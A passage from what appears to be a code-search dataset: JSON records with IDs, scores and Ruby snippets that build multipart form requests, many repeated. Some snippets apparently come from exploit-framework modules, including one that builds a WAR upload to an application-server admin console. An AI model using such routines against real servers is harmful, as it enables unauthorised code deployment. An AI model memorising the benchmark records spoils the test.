"text": "def build_multipart(parts, mime_type = 'multipart/related', boundary = MULTIPART_BOUNDARY)\n env = {\n :request_headers => {'Content-Type' => \"#{mime_type};boundary=#{boundary}\"},\n :request => { :boundary => boundary }\n }\n multipart = Faraday::Request::Multipart.new\n self.body = multipart.create_multipart(env, parts.map {|part| [nil, part]})\n self.headers.update(env[:request_headers])\n end",
"title": ""
},
{
"docid": "4fa3af2ca866c236a6fc63da04a0dc7a",
"score": "0.6603393",
"text": "def header\n 'multipart/form-data; type=\"application/json\"; start=\"<part0@sencha.com>\"; boundary=\"' + @split + '\"'\n end",
"title": ""
},
{
"docid": "08f4bc30546789081417c622304e6c42",
"score": "0.6583918",
"text": "def parse(post)\n # 30 + 12\n #------------------------------8a827a0e6829\n #Content-Disposition: form-data; name=\"msgtype\"\n #Content-Type: text/plain;charset=utf-8\n #\n #subscribe\n #------------------------------8a827a0e6829\n #Content-Disposition: form-data; name=\"ordernumber\"\n #\n #BILP94406\n if post =~ /\\A--([-\\w]+)/\n self.params.update(Rack::Multipart.parse_multipart(\n 'CONTENT_TYPE' => \"multipart/form-data; boundary=#{$1}\", \n 'rack.input' => StringIO.new(post)\n ))\n else\n super\n end\n end",
"title": ""
},
{
"docid": "7946a07e3780986e254358eb289cfeae",
"score": "0.65835774",
"text": "def build_multipart_bodies(parts)\n boundary = Time.now.to_i.to_s(16)\n body = \"\"\n parts.each do |key, value|\n esc_key = CGI.escape(key.to_s)\n body << \"--#{boundary}#{\"\\r\\n\"}\"\n if value.respond_to?(:read)\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"; filename=\\\"#{File.basename(value.path)}\\\"#{\"\\r\\n\"}\"\n body << \"Content-Type: #{mime_type(value.path)}#{\"\\r\\n\"*2}\"\n body << value.read\n else\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"#{\"\\r\\n\"*2}#{value}\"\n end\n body << \"\\r\\n\"\n end\n body << \"--#{boundary}--#{\"\\r\\n\"*2}\"\n {\n :body => body,\n :headers => {\"Content-Type\" => \"multipart/form-data; boundary=#{boundary}\"}\n }\n end",
"title": ""
},
{
"docid": "a60f668fb72afe0c9085fb957e640de1",
"score": "0.6582753",
"text": "def content_part(content, name)\n<<-EOF\n--#{MULTIPART_BOUNDARY}\\r\nContent-Disposition: form-data; name=\"#{name}\"\\r\n\\r\n#{content}\nEOF\n end",
"title": ""
},
{
"docid": "02fb26654d7c77775e9a85a27ee6443a",
"score": "0.65655994",
"text": "def to_form\n \"Content-Disposition: form-data; name=\\\"#{self.name}\\\"; filename=\\\"#{@filename}\\\"\\r\\n\" +\n \"Content-Type: #{self.mime_type}\\r\\n\" +\n \"\\r\\n\" +\n \"#{self.value}\\r\\n\"\n end",
"title": ""
},
{
"docid": "01e6e3cc82356f8e9ab8e1c7840e6105",
"score": "0.6555019",
"text": "def content_type\n \"#{MULTIPART_FORM_DATA}; boundary=#{@boundary}\"\n end",
"title": ""
},
{
"docid": "8f1533de435feaaa43ee576abf1f3127",
"score": "0.65442514",
"text": "def http_post_multipart(url, data, headers = {}, timeout = 15)\n\t\t\n\t\t# Boundary string\n\t\tbndr = Rex::Text.rand_text_alphanumeric(8)\n\t\t\n\t\t# Protocol\n\t\tproto = datastore['SSL'] ? 'https': 'http' \n\t\n\t\t# Determine request url\n\t\turl = url.length ? url: ''\n\t\t\n\t\t# Determine User-Agent\n\t\theaders['User-Agent'] = headers['User-Agent'] ? \n\t\theaders['User-Agent'] : datastore['AGNT']\n\t\t\n\t\t# Determine Content-Type\n\t\theaders['Content-Type'] = headers['Content-Type'] ? \n\t\theaders['Content-Type'] : \"multipart/form-data; boundary=#{bndr}\"\n\t\t\n\t\t# Determine Referer\n\t\theaders['Referer'] = headers['Referer'] ? \n\t\theaders['Referer'] : \"#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}\"\n\n\t\t# Delete all the null headers\n\t\theaders.each do | hkey, hval |\n\t\t\n\t\t\t# Null value\n\t\t\tif ( !hval )\n\t\t\t\n\t\t\t\t# Delete header key\n\t\t\t\theaders.delete(hkey)\n\t\t\tend\n\t\tend\n\n\t\t# Init\n\t\ttemp = ''\n\t\t\n\t\t# Parse form values\n\t\tdata.each do |name, value|\n\t\t\n\t\t\t# Hash means file data\n\t\t\tif ( value.is_a?(Hash) )\n\n\t\t\t\t# Validate form fields\n\t\t\t\tfilename = value['filename'] ? value['filename']: init_debug(\"Filename value missing from #{name}\", 1)\n\t\t\t\tcontents = value['contents'] ? value['contents']: init_debug(\"Contents value missing from #{name}\", 1)\n\t\t\t\tmimetype = value['mimetype'] ? value['mimetype']: init_debug(\"Mimetype value missing from #{name}\", 1)\n\t\t\t\tencoding = value['encoding'] ? value['encoding']: \"Binary\"\n\n\t\t\t\t# Build multipart data\n\t\t\t\ttemp << \"--#{bndr}\\r\\n\"\n\t\t\t\ttemp << \"Content-Disposition: form-data; name=\\\"#{name}\\\"; filename=\\\"#{filename}\\\"\\r\\n\"\n\t\t\t\ttemp << \"Content-Type: #{mimetype}\\r\\n\"\n\t\t\t\ttemp << \"Content-Transfer-Encoding: #{encoding}\\r\\n\"\n\t\t\t\ttemp << \"\\r\\n\"\n\t\t\t\ttemp << \"#{contents}\\r\\n\"\n\t\t\t\t\n\t\t\telse\n\t\t\t\t# Build multipart data\n\t\t\t\ttemp << \"--#{bndr}\\r\\n\"\n\t\t\t\ttemp << \"Content-Disposition: form-data; name=\\\"#{name}\\\";\\r\\n\"\n\t\t\t\ttemp << \"\\r\\n\"\n\t\t\t\ttemp << \"#{value}\\r\\n\"\n\t\t\tend\n\t\tend\n\t\t\n\t\t# Complete the form data\n\t\ttemp << \"--#{bndr}--\\r\\n\"\n\t\t\n\t\t# Assigned\n\t\tdata = temp\t\n\t\t\n\t\t# Determine Content-Length\n\t\theaders['Content-Length'] = data.length\n\t\t\n\t\t# Send request\n\t\tresp = send_request_raw(\n\t\t{\n\t\t\t'uri' => datastore['JDIR'] + url,\n\t\t\t'method' => 'POST',\n\t\t\t'data' => data,\n\t\t\t'headers' => headers\n\t\t}, \n\t\ttimeout)\n\t\t\n\t\t# Returned\n\t\treturn resp\n\t\t\n\tend",
"title": ""
},
{
"docid": "dd06517672bced6ebcc4c5c5f25ebfb6",
"score": "0.6534769",
"text": "def http_post_multipart(url, data, headers = {}, timeout = 15)\r\n\t\t\r\n\t\t# Boundary string\r\n\t\tbndr = Rex::Text.rand_text_alphanumeric(8)\r\n\t\t\r\n\t\t# Protocol\r\n\t\tproto = datastore['SSL'] ? 'https': 'http'\r\n\t\r\n\t\t# Determine request url\r\n\t\turl = url.length ? url: ''\r\n\t\t\r\n\t\t# Determine User-Agent\r\n\t\theaders['User-Agent'] = headers['User-Agent'] ?\r\n\t\theaders['User-Agent'] : datastore['AGNT']\r\n\t\t\r\n\t\t# Determine Content-Type\r\n\t\theaders['Content-Type'] = headers['Content-Type'] ?\r\n\t\theaders['Content-Type'] : \"multipart/form-data; boundary=#{bndr}\"\r\n\t\t\r\n\t\t# Determine Referer\r\n\t\theaders['Referer'] = headers['Referer'] ?\r\n\t\theaders['Referer'] : \"#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}\"\r\n\t\t\r\n\t\t# Delete all the null headers\r\n\t\theaders.each do | hkey, hval |\r\n\t\t\r\n\t\t\t# Null value\r\n\t\t\tif ( !hval )\r\n\t\t\t\r\n\t\t\t\t# Delete header key\r\n\t\t\t\theaders.delete(hkey)\r\n\t\t\tend\r\n\t\tend\r\n\t\t\r\n\t\t# Init\r\n\t\ttemp = ''\r\n\t\t\r\n\t\t# Parse form values\r\n\t\tdata.each do |name, value|\r\n\t\t\r\n\t\t\t# Hash means file data\r\n\t\t\tif ( value.is_a?(Hash) )\r\n\t\t\t\t\r\n\t\t\t\t# Validate form fields\r\n\t\t\t\tfilename = value['filename'] ? value['filename']:\r\n\t\t\t\t\t\t init_debug(\"Filename value missing from #{name}\", 1)\r\n\t\t\t\tcontents = value['contents'] ? value['contents']:\r\n\t\t\t\t\t\t init_debug(\"Contents value missing from #{name}\", 1)\r\n\t\t\t\tmimetype = value['mimetype'] ? value['mimetype']:\r\n\t\t\t\t\t\t init_debug(\"Mimetype value missing from #{name}\", 1)\r\n\t\t\t\tencoding = value['encoding'] ? value['encoding']: \"Binary\"\r\n\t\t\t\t\r\n\t\t\t\t# Build multipart data\r\n\t\t\t\ttemp << \"--#{bndr}\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Disposition: form-data; name=\\\"#{name}\\\"\r\n\t\t\t\t\t; filename=\\\"#{filename}\\\"\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Type: #{mimetype}\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Transfer-Encoding: #{encoding}\\r\\n\"\r\n\t\t\t\ttemp << \"\\r\\n\"\r\n\t\t\t\ttemp << \"#{contents}\\r\\n\"\r\n\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\t# Build multipart data\r\n\t\t\t\ttemp << \"--#{bndr}\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Disposition: form-data; name=\\\"#{name}\\\";\\r\\n\"\r\n\t\t\t\ttemp << \"\\r\\n\"\r\n\t\t\t\ttemp << \"#{value}\\r\\n\"\r\n\t\t\tend\r\n\t\tend\r\n\t\t\r\n\t\t# Complete the form data\r\n\t\ttemp << \"--#{bndr}--\\r\\n\"\r\n\t\t\r\n\t\t# Assigned\r\n\t\tdata = temp\r\n\t\t\r\n\t\t# Determine Content-Length\r\n\t\theaders['Content-Length'] = data.length\r\n\t\t\r\n\t\t# Send request\r\n\t\tresp = send_request_raw(\r\n\t\t{\r\n\t\t\t'uri' => datastore['JDIR'] + url,\r\n\t\t\t'method' => 'POST',\r\n\t\t\t'data' => data,\r\n\t\t\t'headers' => headers\r\n\t\t}, \r\n\t\ttimeout)\r\n\t\t\r\n\t\t# Returned\r\n\t\treturn resp\r\n\t\t\r\n\tend",
"title": ""
},
{
"docid": "b66f1a6f1e0af536d33ab089cac099cb",
"score": "0.6524482",
"text": "def http_post_multipart(url, data, headers = {}, timeout = 15)\r\n\t\t\r\n\t\t# Boundary string\r\n\t\tbndr = Rex::Text.rand_text_alphanumeric(8)\r\n\t\t\r\n\t\t# Protocol\r\n\t\tproto = datastore['SSL'] ? 'https': 'http' \r\n\t\r\n\t\t# Determine request url\r\n\t\turl = url.length ? url: ''\r\n\t\t\r\n\t\t# Determine User-Agent\r\n\t\theaders['User-Agent'] = headers['User-Agent'] ? \r\n\t\theaders['User-Agent'] : datastore['AGNT']\r\n\t\t\r\n\t\t# Determine Content-Type\r\n\t\theaders['Content-Type'] = headers['Content-Type'] ? \r\n\t\theaders['Content-Type'] : \"multipart/form-data; boundary=#{bndr}\"\r\n\t\t\r\n\t\t# Determine Referer\r\n\t\theaders['Referer'] = headers['Referer'] ? \r\n\t\theaders['Referer'] : \"#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}\"\r\n\r\n\t\t# Delete all the null headers\r\n\t\theaders.each do | hkey, hval |\r\n\t\t\r\n\t\t\t# Null value\r\n\t\t\tif ( !hval )\r\n\t\t\t\r\n\t\t\t\t# Delete header key\r\n\t\t\t\theaders.delete(hkey)\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t\t# Init\r\n\t\ttemp = ''\r\n\t\t\r\n\t\t# Parse form values\r\n\t\tdata.each do |name, value|\r\n\t\t\r\n\t\t\t# Hash means file data\r\n\t\t\tif ( value.is_a?(Hash) )\r\n\r\n\t\t\t\t# Validate form fields\r\n\t\t\t\tfilename = value['filename'] ? value['filename']: init_debug(\"Filename value missing from #{name}\", 1)\r\n\t\t\t\tcontents = value['contents'] ? value['contents']: init_debug(\"Contents value missing from #{name}\", 1)\r\n\t\t\t\tmimetype = value['mimetype'] ? value['mimetype']: init_debug(\"Mimetype value missing from #{name}\", 1)\r\n\t\t\t\tencoding = value['encoding'] ? value['encoding']: \"Binary\"\r\n\r\n\t\t\t\t# Build multipart data\r\n\t\t\t\ttemp << \"--#{bndr}\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Disposition: form-data; name=\\\"#{name}\\\"; filename=\\\"#{filename}\\\"\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Type: #{mimetype}\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Transfer-Encoding: #{encoding}\\r\\n\"\r\n\t\t\t\ttemp << \"\\r\\n\"\r\n\t\t\t\ttemp << \"#{contents}\\r\\n\"\r\n\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\t# Build multipart data\r\n\t\t\t\ttemp << \"--#{bndr}\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Disposition: form-data; name=\\\"#{name}\\\";\\r\\n\"\r\n\t\t\t\ttemp << \"\\r\\n\"\r\n\t\t\t\ttemp << \"#{value}\\r\\n\"\r\n\t\t\tend\r\n\t\tend\r\n\t\t\r\n\t\t# Complete the form data\r\n\t\ttemp << \"--#{bndr}--\\r\\n\"\r\n\t\t\r\n\t\t# Assigned\r\n\t\tdata = temp\t\r\n\t\t\r\n\t\t# Determine Content-Length\r\n\t\theaders['Content-Length'] = data.length\r\n\t\t\r\n\t\t# Send request\r\n\t\tresp = send_request_raw(\r\n\t\t{\r\n\t\t\t'uri' => datastore['JDIR'] + url,\r\n\t\t\t'method' => 'POST',\r\n\t\t\t'data' => data,\r\n\t\t\t'headers' => headers\r\n\t\t}, \r\n\t\ttimeout)\r\n\t\t\r\n\t\t# Returned\r\n\t\treturn resp\r\n\t\t\r\n\tend",
"title": ""
},
{
"docid": "913df0f3aa4745aa42f53af7886a5405",
"score": "0.65143436",
"text": "def multipart?; end",
"title": ""
},
{
"docid": "913df0f3aa4745aa42f53af7886a5405",
"score": "0.65143436",
"text": "def multipart?; end",
"title": ""
},
{
"docid": "913df0f3aa4745aa42f53af7886a5405",
"score": "0.65143436",
"text": "def multipart?; end",
"title": ""
},
{
"docid": "913df0f3aa4745aa42f53af7886a5405",
"score": "0.65143436",
"text": "def multipart?; end",
"title": ""
},
{
"docid": "913df0f3aa4745aa42f53af7886a5405",
"score": "0.65143436",
"text": "def multipart?; end",
"title": ""
},
{
"docid": "913df0f3aa4745aa42f53af7886a5405",
"score": "0.65143436",
"text": "def multipart?; end",
"title": ""
},
{
"docid": "2b23f11b6026dd945876c608347d123d",
"score": "0.65104043",
"text": "def extract_form_data_from_request(content_type, post_body)\n\t\tboundary = content_type.match(/^multipart\\/form-data; boundary=(.+)/)[1]\n\t\tboundary = HTTPUtils::dequote(boundary)\n\t\tHTTPUtils::parse_form_data(post_body, boundary)\n\tend",
"title": ""
},
{
"docid": "1eeb824b6648dcd82417c6043ba567ea",
"score": "0.6479762",
"text": "def multipart_content_type(env); end",
"title": ""
},
{
"docid": "4492cb32a550ed532cdc3aa8cfdbf621",
"score": "0.64731365",
"text": "def raw_multipart_post_request(path, data={})\n require 'net/http/post/multipart'\n Net::HTTP::Post::Multipart.new(path, wrapped_multipart_post_data(data)).tap do |req|\n req['Cookie'] = \"#{self.class::COOKIE_NAME}=#{CGI::escape(auth.to_s)}\"\n end\n end",
"title": ""
},
{
"docid": "37055278cb505260b8ad092031780e7c",
"score": "0.6453101",
"text": "def to_form_data\n form_data = `new FormData()`\n each do |key, value|\n `#{form_data}.append(#{key},#{value})`\n end\n form_data\n end",
"title": ""
},
{
"docid": "2bee39d0b12ed98c860c47a4e814e93e",
"score": "0.64219457",
"text": "def multipart_form_post_chunk url, bytes_to_send, filename\n newline = \"\\r\\n\"\n boundary = \"----------#{Time.now.nsec}\"\n\n uri = URI.parse(url)\n\n post_body = []\n post_body << \"--#{boundary}#{newline}\"\n post_body << \"Content-Disposition: form-data; name=\\\"Filedata\\\"; filename=\\\"#{filename}\\\"#{newline}\"\n post_body << \"Content-Type: application/octet-stream#{newline}\"\n post_body << \"Content-Length: #{bytes_to_send.length}#{newline}\"\n post_body << \"#{newline}\"\n post_body << bytes_to_send\n post_body << \"#{newline}--#{boundary}--#{newline}\"\n\n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = post_body.join\n request[\"Content-Type\"] = \"multipart/form-data, boundary=#{boundary}\"\n request['Content-Length'] = request.body().length\n\n http = Net::HTTP.new uri.host, uri.port\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n\n response = http.request request\n return response\nend",
"title": ""
},
{
"docid": "34930e12cad762ad7386cb57ef26be84",
"score": "0.6412577",
"text": "def get_upload_data(opts = {})\n boundary = opts[:boundary]\n version = opts[:version]\n war = opts[:war]\n app_base = opts[:app_base]\n typefield = opts[:typefield]\n status_checkbox = opts[:status_checkbox]\n start = opts[:start]\n viewstate = opts[:viewstate]\n\n data = ''\n\n if version == '3.0'\n\n uploadParam_name = \"form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam\"\n uploadparam_data = \"form:sheet1:section1:prop1:fileupload\"\n\n boundary = \"--#{boundary}\"\n\n data = [\n format(boundary, app_base, nil, war),\n format(boundary, uploadParam_name, uploadparam_data),\n format(boundary, \"form:sheet1:section1:prop1:extension\", \".war\"),\n format(boundary, \"form:sheet1:section1:prop1:action\", \"client\"),\n format(boundary, typefield, \"war\"),\n format(boundary, \"form:war:psection:cxp:ctx\", app_base),\n format(boundary, \"form:war:psection:nameProp:appName\", app_base),\n format(boundary, \"form:war:psection:vsProp:vs\", \"\"),\n format(boundary, status_checkbox, \"true\"),\n format(boundary, \"form:war:psection:librariesProp:library\", \"\"),\n format(boundary, \"form:war:psection:descriptionProp:description\", \"\"),\n format(boundary, \"form_hidden\", \"form_hidden\"),\n format(boundary, \"javax.faces.ViewState\", viewstate),\n \"#{boundary}--\"\n ].join()\n elsif version == '2.x' || version == '9.x'\n\n uploadParam_name = \"form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam\"\n uploadParam_data = \"form:title:sheet1:section1:prop1:fileupload\"\n\n focusElementId_name = \"com_sun_webui_util_FocusManager_focusElementId\"\n focusElementId_data = 'form:title:topButtons:uploadButton'\n\n boundary = \"-----------------------------#{boundary}\"\n\n data = [\n format_2_x_war(boundary, app_base, nil, war),\n format(boundary, \"form:title:sheet1:section1:type:appType\", \"webApp\"),\n format(boundary, \"uploadRdBtn\", \"client\"),\n format(boundary, uploadParam_name, uploadParam_data),\n format(boundary, \"form:title:sheet1:section1:prop1:extension\", \".war\"),\n format(boundary, \"form:title:ps:psec:nameProp:appName\", app_base),\n format(boundary, \"form:title:ps:psec:cxp:ctx\", app_base),\n format(boundary, \"form:title:ps:psec:vsp:vs\", \"\"),\n format(boundary, status_checkbox, \"true\"),\n format(boundary, \"form:title:ps:psec:librariesProp:library\", \"\"),\n format(boundary, \"form:title:ps:psec:threadpoolProp:threadPool\", \"\"),\n format(boundary, \"form:title:ps:psec:registryProp:registryType\", \"\"),\n format(boundary, \"form:title:ps:psec:descriptionProp:description\", \"\"),\n format(boundary, \"form:helpKey\", \"uploaddev.html\"),\n format(boundary, \"form_hidden\", \"form_hidden\"),\n format(boundary, \"javax.faces.ViewState\", viewstate),\n format(boundary, focusElementId_name, focusElementId_data),\n \"#{boundary}--\"\n ].join()\n else\n\n boundary = \"-----------------------------#{boundary}\"\n\n #Setup dynamic arguments\n num1 = start.to_i\n num2 = num1 + 14\n num3 = num2 + 2\n num4 = num3 + 2\n num5 = num4 + 2\n num6 = num5 + 2\n num7 = num6 + 1\n\n id0 = num4\n id1 = num4 + 1\n id2 = num4 + 2\n id3 = num4 + 3\n id4 = num4 + 4\n id5 = num4 + 5\n id6 = num4 + 6\n id7 = num4 + 7\n id8 = num4 + 8\n id9 = num4 + 9\n\n uploadParam_name = \"form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam\"\n uploadParam_value = \"form:sheet1:section1:prop1:fileupload\"\n\n focusElementId_name = \"com_sun_webui_util_FocusManager_focusElementId\"\n focusElementId_data = \"form:title2:bottomButtons:uploadButton\"\n\n data = [\n format(boundary,\"uploadRdBtn\",\"client\"),\n ## web service\n format(boundary, app_base, nil, war),\n ## sheet1\n format(boundary, uploadParam_name, uploadParam_value),\n format(boundary,\"form:sheet1:section1:prop1:extension\",\".war\"),\n format(boundary,\"form:sheet1:section1:prop1:action\",\"client\"),\n format(boundary,\"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType\",\"war\"),\n format(boundary,\"form:appClient:psection:nameProp:appName\",\"#{app_base}\"),\n format(boundary,\"form:appClient:psection:descriptionProp:description\"),\n ## war\n format(boundary,\"form:war:psection:cxp:ctx\",\"#{app_base}\"),\n format(boundary,\"form:war:psection:nameProp:appName\",\"#{app_base}\"),\n format(boundary,\"form:war:psection:vsProp:vs\"),\n format(boundary,\"form:war:psection:enableProp:sun_checkbox\" + id1.to_s,\"true\"),\n format(boundary,\"form:war:psection:enableProp:sun_checkbox\" + id2.to_s,\"true\"),\n format(boundary,\"form:war:psection:enableProp:sun_checkbox\" + id3.to_s,\"true\"),\n format(boundary,\"form:war:psection:enableProp:sun_checkbox\" + id4.to_s,\"true\"),\n format(boundary,\"form:war:psection:enableProp:sun_checkbox\" + id5.to_s,\"true\"),\n format(boundary,\"form:war:psection:enableProp:sun_checkbox\" + id6.to_s,\"true\"),\n format(boundary,\"form:war:psection:enableProp:sun_checkbox\" + id7.to_s,\"true\"),\n format(boundary,\"form:war:psection:enableProp:sun_checkbox\" + id8.to_s,\"true\"),\n format(boundary,\"form:war:psection:enableProp:sun_checkbox\" + id9.to_s,\"true\"),\n format(boundary,\"form:war:psection:librariesProp:library\"),\n format(boundary,\"form:war:psection:descriptionProp:description\"),\n format(boundary,\"form_hidden\",\"form_hidden\"),\n format(boundary,\"javax.faces.ViewState\",\"#{viewstate}\"),\n format(boundary, focusElementId_name, focusElementId_data)\n ].join()\n\n item_list_name = \"form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list\"\n item_list_data = \"|server|com.sun.webui.jsf.separator|\"\n\n item_value_name = \"form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value\"\n item_value_data = \"server\"\n\n data << format(boundary, item_list_name, item_list_data)\n data << format(boundary, item_value_name, item_value_data)\n data << \"#{boundary}--\"\n data << \"\\r\\n\\r\\n\"\n\n end\n\n return data\n end",
"title": ""
},
{
"docid": "80b3991fb449e6b3e824aac9a0463af4",
"score": "0.63899046",
"text": "def prepare_multipart_request(params)\n begin\n file = File.open params['filePath'], 'r'\n text = file.read\n rescue StandardError => e\n raise RosetteAPIError.new('readMultipartError', e)\n end\n\n boundary = SecureRandom.hex\n post_body = []\n params.delete 'filePath'\n request_file = params.to_json\n\n # Add the content data\n post_body << \"--#{boundary}\\r\\n\"\n post_body << 'Content-Disposition: form-data; name=\"content\"; ' \\\n \"filename=\\\"#{File.basename(file)}\\\"\\r\\n\"\n post_body << \"Content-Type: text/plain\\r\\n\\r\\n\"\n post_body << text\n\n # Add the request data\n post_body << \"\\r\\n\\r\\n--#{boundary}\\r\\n\"\n post_body << \"Content-Disposition: form-data; name=\\\"request\\\"\\r\\n\"\n post_body << \"Content-Type: application/json\\r\\n\\r\\n\"\n post_body << request_file\n post_body << \"\\r\\n\\r\\n--#{boundary}--\\r\\n\"\n\n # Create the HTTP objects\n begin\n uri = URI.parse @alternate_url\n request = Net::HTTP::Post.new uri.request_uri\n rescue StandardError\n # Not ideal. Consider switching to a different library.\n # https://stackoverflow.com/a/11802674\n raise RosetteAPIError.new(\n 'connectionError',\n 'Failed to establish connection with Rosette API server.'\n )\n end\n\n # add any custom headers from the user\n unless params['customHeaders'].nil?\n keys_array = params['customHeaders'].keys\n keys_array.each do |k|\n if k.to_s =~ /^X-RosetteAPI-/\n request.add_field k, params['customHeaders'][k]\n else\n raise RosetteAPIError.new(\n 'invalidHeader',\n 'Custom header must begin with \"X-RosetteAPI-\"'\n )\n end\n end\n params.delete 'customHeaders'\n end\n\n request.add_field 'Content-Type',\n \"multipart/form-data; boundary=#{boundary}\"\n request.add_field 'User-Agent', @user_agent\n request.add_field 'X-RosetteAPI-Key', @user_key\n request.add_field 'X-RosetteAPI-Binding', 'ruby'\n request.add_field 'X-RosetteAPI-Binding-Version', @binding_version\n request.body = post_body.join\n\n [@http_client, request]\n end",
"title": ""
},
{
"docid": "ca39ca0fab00b8a6a97dd08b07aa4996",
"score": "0.6354961",
"text": "def create_query_multipart_str(query, boundary)\n query.collect { |attr, value|\n value ||= ''\n if value.is_a? File\n params = {\n 'filename' => value.path,\n # Creation time is not available from File::Stat\n # 'creation-date' => value.ctime.rfc822,\n 'modification-date' => value.mtime.rfc822,\n 'read-date' => value.atime.rfc822,\n }\n param_str = params.to_a.collect { |k, v|\n \"#{k}=\\\"#{v}\\\"\"\n }.join(\"; \")\n \"--#{boundary}\\r\\n\" +\n %{Content-Disposition: form-data; name=\"#{attr.to_s}\"; #{param_str}\\r\\n} +\n \"Content-Transfer-Encoding: binary\\r\\n\" + \n \"Content-Type: application/octet-stream\\r\\n\\r\\n#{value.read}\\r\\n\"\n else\n \"--#{boundary}\\r\\n\" +\n %{Content-Disposition: form-data; name=\"#{attr.to_s}\"\\r\\n} +\n \"\\r\\n#{value.to_s}\\r\\n\"\n end\n }.join('') + \"--#{boundary}--\\r\\n\"\n end",
"title": ""
},
{
"docid": "1ab233d2e1fd88e2bf87e29e0769f4c1",
"score": "0.6327946",
"text": "def build_primitive_part(buffer, parameter_name, value)\n buffer <<\n START_BOUNDARY <<\n \"content-disposition: form-data; name=\\\"\" <<\n parameter_name.to_s.b <<\n \"\\\"\\r\\n\\r\\n\" <<\n value.to_s.b <<\n \"\\r\\n\"\n buffer\n end",
"title": ""
},
{
"docid": "10b8566ee85fe4aef5656ca08bb206ac",
"score": "0.6286125",
"text": "def encode_multipart(fields, files)\n\n\tpost_body = []\n\tfields.each do |key, value|\n\t\tpost_body << \"--#{BOUNDARY}\"\n\t\tpost_body << \"Content-Disposition: form-data; name=\\\"#{key}\\\"\"\n\t\tpost_body << \"\"\n\t\tpost_body << value\n\tend\n\tfiles.each do |key, filename, value|\n\t\tpost_body << \"--#{BOUNDARY}\"\n\t\tpost_body << \"Content-Disposition: form-data; name=\\\"#{key}\\\"; filename=\\\"#{filename}\\\"\"\n\t\tpost_body << \"Content-Type: application/octet-stream\"\n\t\tpost_body << \"\"\n\t\tpost_body << value\n\tend\n\n\tpost_body << \"--#{BOUNDARY}--\"\n\tpost_body << \"\"\n\n\tbody = post_body.join(CRLF)\n\n\tcontent_type = \"multipart/form-data; boundary=#{BOUNDARY}\"\n\t\n\treturn content_type, body\nend",
"title": ""
},
{
"docid": "0540572e454975a8ef458c7d152acba6",
"score": "0.6281355",
"text": "def parse_form_data(io, boundary)\n boundary_regexp = /\\A--#{Regexp.quote(boundary)}(--)?#{CRLF}\\z/\n form_data = Hash.new\n return form_data unless io\n data = nil\n io.each_line{|line|\n if boundary_regexp =~ line\n if data\n data.chop!\n key = data.name\n if form_data.has_key?(key)\n form_data[key].append_data(data)\n else\n form_data[key] = data\n end\n end\n data = FormData.new\n next\n else\n if data\n data << line\n end\n end\n }\n return form_data\n end",
"title": ""
},
{
"docid": "8e9f75021c961768e2270f72b3064eb6",
"score": "0.6271998",
"text": "def multipart_form_post url, file_path \n newline = \"\\r\\n\"\n filename = File.basename(file_path)\n boundary = \"----------#{Time.now.nsec}\"\n \n uri = URI.parse(url)\n \n post_body = []\n post_body << \"--#{boundary}#{newline}\"\n post_body << \"Content-Disposition: form-data; name=\\\"File1\\\"; filename=\\\"#{filename}\\\"#{newline}\"\n post_body << \"Content-Type: application/octet-stream#{newline}\"\n post_body << \"#{newline}\"\n post_body << File.read(file_path)\n post_body << \"#{newline}--#{boundary}--#{newline}\"\n \n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = post_body.join\n request[\"Content-Type\"] = \"multipart/form-data, boundary=#{boundary}\"\n request['Content-Length'] = request.body().length\n \n http = Net::HTTP.new uri.host, uri.port\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n \n response = http.request request\n return response\nend",
"title": ""
},
{
"docid": "78d8c3f9ffc7e255acf6a340dd0f6dff",
"score": "0.6265264",
"text": "def multipart_encode params\n boundary = UUID.generate :compact\n content_type = \"multipart/form-data; boundary=#{boundary}\"\n data = ''\n params.each { |k, v|\n data += \"--#{boundary}\\r\\n\"\n if k == :photo\n data += \"Content-Disposition: form-data; name=\\\"#{k}\\\"; filename=\\\"#{k}.jpg\\\"\\r\\n\"\n data += \"Content-Type: image/jpeg\\r\\n\"\n else\n data += \"Content-Disposition: form-data; name=\\\"#{k}\\\"\\r\\n\"\n end\n data += \"\\r\\n#{v}\\r\\n\"\n }\n data += \"--#{boundary}--\\r\\n\\r\\n\" \n [ data, content_type ]\n end",
"title": ""
},
{
"docid": "1b284e0d1e58fd5c40cdeccf864c18b3",
"score": "0.62474567",
"text": "def multipart_payload(payload, file)\n payload = payload.is_a?(Hash) ? payload : MultiJson.load(payload)\n filename = 'file'\n filename, file = file.split '=' if file.is_a?(String)\n file = file[1..-1] if file.start_with? '@' # be kind to curl users\n payload[filename] = file.is_a?(File) ? file : File.new(file, 'rb')\n payload\nend",
"title": ""
},
{
"docid": "710920e06cc7d46c4d6b08dee97f14b4",
"score": "0.624401",
"text": "def create_post_request(path, fields, files)\n data = encode_fields(fields, files)\n request = Net::HTTP::Post.new(path)\n request.content_type = 'multipart/form-data; boundary=' + generate_boundary\n request.content_length = data.length\n request.body = data\n \n request\n end",
"title": ""
},
{
"docid": "16e59fc63f12ba7fc8f5ad6791f3d110",
"score": "0.62134993",
